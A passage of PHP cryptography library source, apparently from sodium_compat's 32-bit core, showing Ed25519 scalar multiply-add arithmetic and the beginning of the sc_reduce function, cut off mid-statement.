(self::load_4(self::substr($b, 7, 4)) >> 7)); $b4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4)); $b5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1)); $b6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6)); $b7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3)); $b8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($b, 21, 3))); $b9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5)); $b10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2)); $b11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($b, 28, 4)) >> 7)); $c0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 0, 3))); $c1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 2, 4)) >> 5)); $c2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 5, 3)) >> 2)); $c3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 7, 4)) >> 7)); $c4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 10, 4)) >> 4)); $c5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 13, 3)) >> 1)); $c6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 15, 4)) >> 6)); $c7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 18, 3)) >> 3)); $c8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($c, 21, 3))); $c9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($c, 23, 4)) >> 5)); $c10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($c, 26, 3)) >> 2)); $c11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($c, 28, 4)) >> 7)); /* Can't really avoid the pyramid here: */ /** * @var ParagonIE_Sodium_Core32_Int64 $s0 * @var ParagonIE_Sodium_Core32_Int64 $s1 * @var ParagonIE_Sodium_Core32_Int64 $s2 * @var ParagonIE_Sodium_Core32_Int64 $s3 * @var ParagonIE_Sodium_Core32_Int64 $s4 * @var ParagonIE_Sodium_Core32_Int64 $s5 * @var ParagonIE_Sodium_Core32_Int64 $s6 * @var ParagonIE_Sodium_Core32_Int64 $s7 * @var ParagonIE_Sodium_Core32_Int64 $s8 * @var ParagonIE_Sodium_Core32_Int64 $s9 * @var ParagonIE_Sodium_Core32_Int64 $s10 * @var ParagonIE_Sodium_Core32_Int64 $s11 * @var ParagonIE_Sodium_Core32_Int64 $s12 * @var ParagonIE_Sodium_Core32_Int64 $s13 * @var ParagonIE_Sodium_Core32_Int64 $s14 * @var ParagonIE_Sodium_Core32_Int64 $s15 * @var ParagonIE_Sodium_Core32_Int64 $s16 * @var ParagonIE_Sodium_Core32_Int64 $s17 * @var ParagonIE_Sodium_Core32_Int64 $s18 * @var ParagonIE_Sodium_Core32_Int64 $s19 * @var ParagonIE_Sodium_Core32_Int64 $s20 * @var ParagonIE_Sodium_Core32_Int64 $s21 * @var ParagonIE_Sodium_Core32_Int64 $s22 * @var ParagonIE_Sodium_Core32_Int64 $s23 */ $s0 = $c0->addInt64($a0->mulInt64($b0, 24)); $s1 = $c1->addInt64($a0->mulInt64($b1, 24))->addInt64($a1->mulInt64($b0, 24)); $s2 = $c2->addInt64($a0->mulInt64($b2, 24))->addInt64($a1->mulInt64($b1, 24))->addInt64($a2->mulInt64($b0, 24)); $s3 = $c3->addInt64($a0->mulInt64($b3, 24))->addInt64($a1->mulInt64($b2, 24))->addInt64($a2->mulInt64($b1, 24)) ->addInt64($a3->mulInt64($b0, 24)); $s4 = $c4->addInt64($a0->mulInt64($b4, 24))->addInt64($a1->mulInt64($b3, 24))->addInt64($a2->mulInt64($b2, 24)) ->addInt64($a3->mulInt64($b1, 24))->addInt64($a4->mulInt64($b0, 24)); $s5 = $c5->addInt64($a0->mulInt64($b5, 24))->addInt64($a1->mulInt64($b4, 24))->addInt64($a2->mulInt64($b3, 24)) ->addInt64($a3->mulInt64($b2, 24))->addInt64($a4->mulInt64($b1, 24))->addInt64($a5->mulInt64($b0, 24)); $s6 = $c6->addInt64($a0->mulInt64($b6, 24))->addInt64($a1->mulInt64($b5, 24))->addInt64($a2->mulInt64($b4, 24)) ->addInt64($a3->mulInt64($b3, 24))->addInt64($a4->mulInt64($b2, 24))->addInt64($a5->mulInt64($b1, 24)) ->addInt64($a6->mulInt64($b0, 24)); $s7 = $c7->addInt64($a0->mulInt64($b7, 24))->addInt64($a1->mulInt64($b6, 24))->addInt64($a2->mulInt64($b5, 24)) ->addInt64($a3->mulInt64($b4, 24))->addInt64($a4->mulInt64($b3, 24))->addInt64($a5->mulInt64($b2, 24)) ->addInt64($a6->mulInt64($b1, 24))->addInt64($a7->mulInt64($b0, 24)); $s8 = $c8->addInt64($a0->mulInt64($b8, 24))->addInt64($a1->mulInt64($b7, 24))->addInt64($a2->mulInt64($b6, 24)) ->addInt64($a3->mulInt64($b5, 24))->addInt64($a4->mulInt64($b4, 24))->addInt64($a5->mulInt64($b3, 24)) ->addInt64($a6->mulInt64($b2, 24))->addInt64($a7->mulInt64($b1, 24))->addInt64($a8->mulInt64($b0, 24)); $s9 = $c9->addInt64($a0->mulInt64($b9, 24))->addInt64($a1->mulInt64($b8, 24))->addInt64($a2->mulInt64($b7, 24)) ->addInt64($a3->mulInt64($b6, 24))->addInt64($a4->mulInt64($b5, 24))->addInt64($a5->mulInt64($b4, 24)) ->addInt64($a6->mulInt64($b3, 24))->addInt64($a7->mulInt64($b2, 24))->addInt64($a8->mulInt64($b1, 24)) ->addInt64($a9->mulInt64($b0, 24)); $s10 = $c10->addInt64($a0->mulInt64($b10, 24))->addInt64($a1->mulInt64($b9, 24))->addInt64($a2->mulInt64($b8, 24)) ->addInt64($a3->mulInt64($b7, 24))->addInt64($a4->mulInt64($b6, 24))->addInt64($a5->mulInt64($b5, 24)) ->addInt64($a6->mulInt64($b4, 24))->addInt64($a7->mulInt64($b3, 24))->addInt64($a8->mulInt64($b2, 24)) ->addInt64($a9->mulInt64($b1, 24))->addInt64($a10->mulInt64($b0, 24)); $s11 = $c11->addInt64($a0->mulInt64($b11, 24))->addInt64($a1->mulInt64($b10, 24))->addInt64($a2->mulInt64($b9, 24)) ->addInt64($a3->mulInt64($b8, 24))->addInt64($a4->mulInt64($b7, 24))->addInt64($a5->mulInt64($b6, 24)) ->addInt64($a6->mulInt64($b5, 24))->addInt64($a7->mulInt64($b4, 24))->addInt64($a8->mulInt64($b3, 24)) ->addInt64($a9->mulInt64($b2, 24))->addInt64($a10->mulInt64($b1, 24))->addInt64($a11->mulInt64($b0, 24)); $s12 = $a1->mulInt64($b11, 24)->addInt64($a2->mulInt64($b10, 24))->addInt64($a3->mulInt64($b9, 24)) ->addInt64($a4->mulInt64($b8, 24))->addInt64($a5->mulInt64($b7, 24))->addInt64($a6->mulInt64($b6, 24)) ->addInt64($a7->mulInt64($b5, 24))->addInt64($a8->mulInt64($b4, 24))->addInt64($a9->mulInt64($b3, 24)) ->addInt64($a10->mulInt64($b2, 24))->addInt64($a11->mulInt64($b1, 24)); $s13 = $a2->mulInt64($b11, 24)->addInt64($a3->mulInt64($b10, 24))->addInt64($a4->mulInt64($b9, 24)) ->addInt64($a5->mulInt64($b8, 24))->addInt64($a6->mulInt64($b7, 24))->addInt64($a7->mulInt64($b6, 24)) ->addInt64($a8->mulInt64($b5, 24))->addInt64($a9->mulInt64($b4, 24))->addInt64($a10->mulInt64($b3, 24)) ->addInt64($a11->mulInt64($b2, 24)); $s14 = $a3->mulInt64($b11, 24)->addInt64($a4->mulInt64($b10, 24))->addInt64($a5->mulInt64($b9, 24)) ->addInt64($a6->mulInt64($b8, 24))->addInt64($a7->mulInt64($b7, 24))->addInt64($a8->mulInt64($b6, 24)) ->addInt64($a9->mulInt64($b5, 24))->addInt64($a10->mulInt64($b4, 24))->addInt64($a11->mulInt64($b3, 24)); $s15 = $a4->mulInt64($b11, 24)->addInt64($a5->mulInt64($b10, 24))->addInt64($a6->mulInt64($b9, 24)) ->addInt64($a7->mulInt64($b8, 24))->addInt64($a8->mulInt64($b7, 24))->addInt64($a9->mulInt64($b6, 24)) ->addInt64($a10->mulInt64($b5, 24))->addInt64($a11->mulInt64($b4, 24)); $s16 = $a5->mulInt64($b11, 24)->addInt64($a6->mulInt64($b10, 24))->addInt64($a7->mulInt64($b9, 24)) ->addInt64($a8->mulInt64($b8, 24))->addInt64($a9->mulInt64($b7, 24))->addInt64($a10->mulInt64($b6, 24)) ->addInt64($a11->mulInt64($b5, 24)); $s17 = $a6->mulInt64($b11, 24)->addInt64($a7->mulInt64($b10, 24))->addInt64($a8->mulInt64($b9, 24)) ->addInt64($a9->mulInt64($b8, 24))->addInt64($a10->mulInt64($b7, 24))->addInt64($a11->mulInt64($b6, 24)); $s18 = $a7->mulInt64($b11, 24)->addInt64($a8->mulInt64($b10, 24))->addInt64($a9->mulInt64($b9, 24)) ->addInt64($a10->mulInt64($b8, 24))->addInt64($a11->mulInt64($b7, 24)); $s19 = $a8->mulInt64($b11, 24)->addInt64($a9->mulInt64($b10, 24))->addInt64($a10->mulInt64($b9, 24)) ->addInt64($a11->mulInt64($b8, 24)); $s20 = $a9->mulInt64($b11, 24)->addInt64($a10->mulInt64($b10, 24))->addInt64($a11->mulInt64($b9, 24)); $s21 = $a10->mulInt64($b11, 24)->addInt64($a11->mulInt64($b10, 24)); $s22 = $a11->mulInt64($b11, 24); $s23 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->addInt(1 << 20)->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry2 = $s2->addInt(1 << 20)->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry4 = $s4->addInt(1 << 20)->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry12 = $s12->addInt(1 << 20)->shiftRight(21); $s13 = $s13->addInt64($carry12); $s12 = $s12->subInt64($carry12->shiftLeft(21)); $carry14 = $s14->addInt(1 << 20)->shiftRight(21); $s15 = $s15->addInt64($carry14); $s14 = $s14->subInt64($carry14->shiftLeft(21)); $carry16 = $s16->addInt(1 << 20)->shiftRight(21); $s17 = $s17->addInt64($carry16); $s16 = $s16->subInt64($carry16->shiftLeft(21)); $carry18 = $s18->addInt(1 << 20)->shiftRight(21); $s19 = $s19->addInt64($carry18); $s18 = $s18->subInt64($carry18->shiftLeft(21)); $carry20 = $s20->addInt(1 << 20)->shiftRight(21); $s21 = $s21->addInt64($carry20); $s20 = $s20->subInt64($carry20->shiftLeft(21)); $carry22 = $s22->addInt(1 << 20)->shiftRight(21); $s23 = $s23->addInt64($carry22); $s22 = $s22->subInt64($carry22->shiftLeft(21)); $carry1 = $s1->addInt(1 << 20)->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry3 = $s3->addInt(1 << 20)->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry5 = $s5->addInt(1 << 20)->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $carry13 = $s13->addInt(1 << 20)->shiftRight(21); $s14 = $s14->addInt64($carry13); $s13 = $s13->subInt64($carry13->shiftLeft(21)); $carry15 = $s15->addInt(1 << 20)->shiftRight(21); $s16 = $s16->addInt64($carry15); $s15 = $s15->subInt64($carry15->shiftLeft(21)); $carry17 = $s17->addInt(1 << 20)->shiftRight(21); $s18 = $s18->addInt64($carry17); $s17 = $s17->subInt64($carry17->shiftLeft(21)); $carry19 = $s19->addInt(1 << 20)->shiftRight(21); $s20 = $s20->addInt64($carry19); $s19 = $s19->subInt64($carry19->shiftLeft(21)); $carry21 = $s21->addInt(1 << 20)->shiftRight(21); $s22 = $s22->addInt64($carry21); $s21 = $s21->subInt64($carry21->shiftLeft(21)); $s11 = $s11->addInt64($s23->mulInt(666643, 20)); $s12 = $s12->addInt64($s23->mulInt(470296, 19)); $s13 = $s13->addInt64($s23->mulInt(654183, 20)); $s14 = $s14->subInt64($s23->mulInt(997805, 20)); $s15 = $s15->addInt64($s23->mulInt(136657, 18)); $s16 = $s16->subInt64($s23->mulInt(683901, 20)); $s10 = $s10->addInt64($s22->mulInt(666643, 20)); $s11 = $s11->addInt64($s22->mulInt(470296, 19)); $s12 = $s12->addInt64($s22->mulInt(654183, 20)); $s13 = $s13->subInt64($s22->mulInt(997805, 20)); $s14 = $s14->addInt64($s22->mulInt(136657, 18)); $s15 = $s15->subInt64($s22->mulInt(683901, 20)); $s9 = $s9->addInt64($s21->mulInt(666643, 20)); $s10 = $s10->addInt64($s21->mulInt(470296, 19)); $s11 = $s11->addInt64($s21->mulInt(654183, 20)); $s12 = $s12->subInt64($s21->mulInt(997805, 20)); $s13 = $s13->addInt64($s21->mulInt(136657, 18)); $s14 = $s14->subInt64($s21->mulInt(683901, 20)); $s8 = $s8->addInt64($s20->mulInt(666643, 20)); $s9 = $s9->addInt64($s20->mulInt(470296, 19)); $s10 = $s10->addInt64($s20->mulInt(654183, 20)); $s11 = $s11->subInt64($s20->mulInt(997805, 20)); $s12 = $s12->addInt64($s20->mulInt(136657, 18)); $s13 = $s13->subInt64($s20->mulInt(683901, 20)); $s7 = $s7->addInt64($s19->mulInt(666643, 20)); $s8 = $s8->addInt64($s19->mulInt(470296, 19)); $s9 = $s9->addInt64($s19->mulInt(654183, 20)); $s10 = $s10->subInt64($s19->mulInt(997805, 20)); $s11 = $s11->addInt64($s19->mulInt(136657, 18)); $s12 = $s12->subInt64($s19->mulInt(683901, 20)); $s6 = $s6->addInt64($s18->mulInt(666643, 20)); $s7 = $s7->addInt64($s18->mulInt(470296, 19)); $s8 = $s8->addInt64($s18->mulInt(654183, 20)); $s9 = $s9->subInt64($s18->mulInt(997805, 20)); $s10 = $s10->addInt64($s18->mulInt(136657, 18)); $s11 = $s11->subInt64($s18->mulInt(683901, 20)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry12 = $s12->addInt(1 << 20)->shiftRight(21); $s13 = $s13->addInt64($carry12); $s12 = $s12->subInt64($carry12->shiftLeft(21)); $carry14 = $s14->addInt(1 << 20)->shiftRight(21); $s15 = $s15->addInt64($carry14); $s14 = $s14->subInt64($carry14->shiftLeft(21)); $carry16 = $s16->addInt(1 << 20)->shiftRight(21); $s17 = $s17->addInt64($carry16); $s16 = $s16->subInt64($carry16->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $carry13 = $s13->addInt(1 << 20)->shiftRight(21); $s14 = $s14->addInt64($carry13); $s13 = $s13->subInt64($carry13->shiftLeft(21)); $carry15 = $s15->addInt(1 << 20)->shiftRight(21); $s16 = $s16->addInt64($carry15); $s15 = $s15->subInt64($carry15->shiftLeft(21)); $s5 = $s5->addInt64($s17->mulInt(666643, 20)); $s6 = $s6->addInt64($s17->mulInt(470296, 19)); $s7 = $s7->addInt64($s17->mulInt(654183, 20)); $s8 = $s8->subInt64($s17->mulInt(997805, 20)); $s9 = $s9->addInt64($s17->mulInt(136657, 18)); $s10 = $s10->subInt64($s17->mulInt(683901, 20)); $s4 = $s4->addInt64($s16->mulInt(666643, 20)); $s5 = $s5->addInt64($s16->mulInt(470296, 19)); $s6 = $s6->addInt64($s16->mulInt(654183, 20)); $s7 = $s7->subInt64($s16->mulInt(997805, 20)); $s8 = $s8->addInt64($s16->mulInt(136657, 18)); $s9 = $s9->subInt64($s16->mulInt(683901, 20)); $s3 = $s3->addInt64($s15->mulInt(666643, 20)); $s4 = $s4->addInt64($s15->mulInt(470296, 19)); $s5 = $s5->addInt64($s15->mulInt(654183, 20)); $s6 = $s6->subInt64($s15->mulInt(997805, 20)); $s7 = $s7->addInt64($s15->mulInt(136657, 18)); $s8 = $s8->subInt64($s15->mulInt(683901, 20)); $s2 = $s2->addInt64($s14->mulInt(666643, 20)); $s3 = $s3->addInt64($s14->mulInt(470296, 19)); $s4 = $s4->addInt64($s14->mulInt(654183, 20)); $s5 = $s5->subInt64($s14->mulInt(997805, 20)); $s6 = $s6->addInt64($s14->mulInt(136657, 18)); $s7 = $s7->subInt64($s14->mulInt(683901, 20)); $s1 = $s1->addInt64($s13->mulInt(666643, 20)); $s2 = $s2->addInt64($s13->mulInt(470296, 19)); $s3 = $s3->addInt64($s13->mulInt(654183, 20)); $s4 = $s4->subInt64($s13->mulInt(997805, 20)); $s5 = $s5->addInt64($s13->mulInt(136657, 18)); $s6 = $s6->subInt64($s13->mulInt(683901, 20)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->addInt(1 << 20)->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry2 = $s2->addInt(1 << 20)->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry4 = $s4->addInt(1 << 20)->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry1 = $s1->addInt(1 << 20)->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry3 = $s3->addInt(1 << 20)->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry5 = $s5->addInt(1 << 20)->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s8->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry11 = $s11->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s10->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $S0 = $s0->toInt(); $S1 = $s1->toInt(); $S2 = $s2->toInt(); $S3 = $s3->toInt(); $S4 = $s4->toInt(); $S5 = $s5->toInt(); $S6 = $s6->toInt(); $S7 = $s7->toInt(); $S8 = $s8->toInt(); $S9 = $s9->toInt(); $S10 = $s10->toInt(); $S11 = $s11->toInt(); /** * @var array */ $arr = array( (int) (0xff & ($S0 >> 0)), (int) (0xff & ($S0 >> 8)), (int) (0xff & (($S0 >> 16) | ($S1 << 5))), (int) (0xff & ($S1 >> 3)), (int) (0xff & ($S1 >> 11)), (int) (0xff & (($S1 >> 19) | ($S2 << 2))), (int) (0xff & ($S2 >> 6)), (int) (0xff & (($S2 >> 14) | ($S3 << 7))), (int) (0xff & ($S3 >> 1)), (int) (0xff & ($S3 >> 9)), (int) (0xff & (($S3 >> 17) | ($S4 << 4))), (int) (0xff & ($S4 >> 4)), (int) (0xff & ($S4 >> 12)), (int) (0xff & (($S4 >> 20) | ($S5 << 1))), (int) (0xff & ($S5 >> 7)), (int) (0xff & (($S5 >> 15) | ($S6 << 6))), (int) (0xff & ($S6 >> 2)), (int) (0xff & ($S6 >> 10)), (int) (0xff & (($S6 >> 18) | ($S7 << 3))), (int) (0xff & ($S7 >> 5)), (int) (0xff & ($S7 >> 13)), (int) (0xff & ($S8 >> 0)), (int) (0xff & ($S8 >> 8)), (int) (0xff & (($S8 >> 16) | ($S9 << 5))), (int) (0xff & ($S9 >> 3)), (int) (0xff & ($S9 >> 11)), (int) (0xff & (($S9 >> 19) | ($S10 << 2))), (int) (0xff & ($S10 >> 6)), (int) (0xff & (($S10 >> 14) | ($S11 << 7))), (int) (0xff & ($S11 >> 1)), (int) (0xff & ($S11 >> 9)), (int) (0xff & ($S11 >> 17)) ); return self::intArrayToString($arr); } /** * @internal You should not use this directly from another application * * @param string $s * @return string * @throws SodiumException * @throws TypeError */ public static function sc_reduce($s) { /** * @var ParagonIE_Sodium_Core32_Int64 $s0 * @var ParagonIE_Sodium_Core32_Int64 $s1 * @var ParagonIE_Sodium_Core32_Int64 $s2 * @var ParagonIE_Sodium_Core32_Int64 $s3 * @var ParagonIE_Sodium_Core32_Int64 $s4 * @var ParagonIE_Sodium_Core32_Int64 $s5 * @var ParagonIE_Sodium_Core32_Int64 $s6 * @var ParagonIE_Sodium_Core32_Int64 $s7 * @var ParagonIE_Sodium_Core32_Int64 $s8 * @var ParagonIE_Sodium_Core32_Int64 $s9 * @var ParagonIE_Sodium_Core32_Int64 $s10 * @var ParagonIE_Sodium_Core32_Int64 $s11 * @var ParagonIE_Sodium_Core32_Int64 $s12 * @var ParagonIE_Sodium_Core32_Int64 $s13 * @var ParagonIE_Sodium_Core32_Int64 $s14 * @var ParagonIE_Sodium_Core32_Int64 $s15 * @var ParagonIE_Sodium_Core32_Int64 $s16 * @var ParagonIE_Sodium_Core32_Int64 $s17 * @var ParagonIE_Sodium_Core32_Int64 $s18 * @var ParagonIE_Sodium_Core32_Int64 $s19 * @var ParagonIE_Sodium_Core32_Int64 $s20 * @var ParagonIE_Sodium_Core32_Int64 $s21 * @var ParagonIE_Sodium_Core32_Int64 $s22 * @var ParagonIE_Sodium_Core32_Int64 $s23 */ $s0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 0, 3))); $s1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5)); $s2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2)); $s3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7)); $s4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4)); $s5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1)); $s6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6)); $s7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3)); $s8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 21, 3))); $s9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5)); $s10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2)); $s11 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7)); $s12 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4)); $s13 = 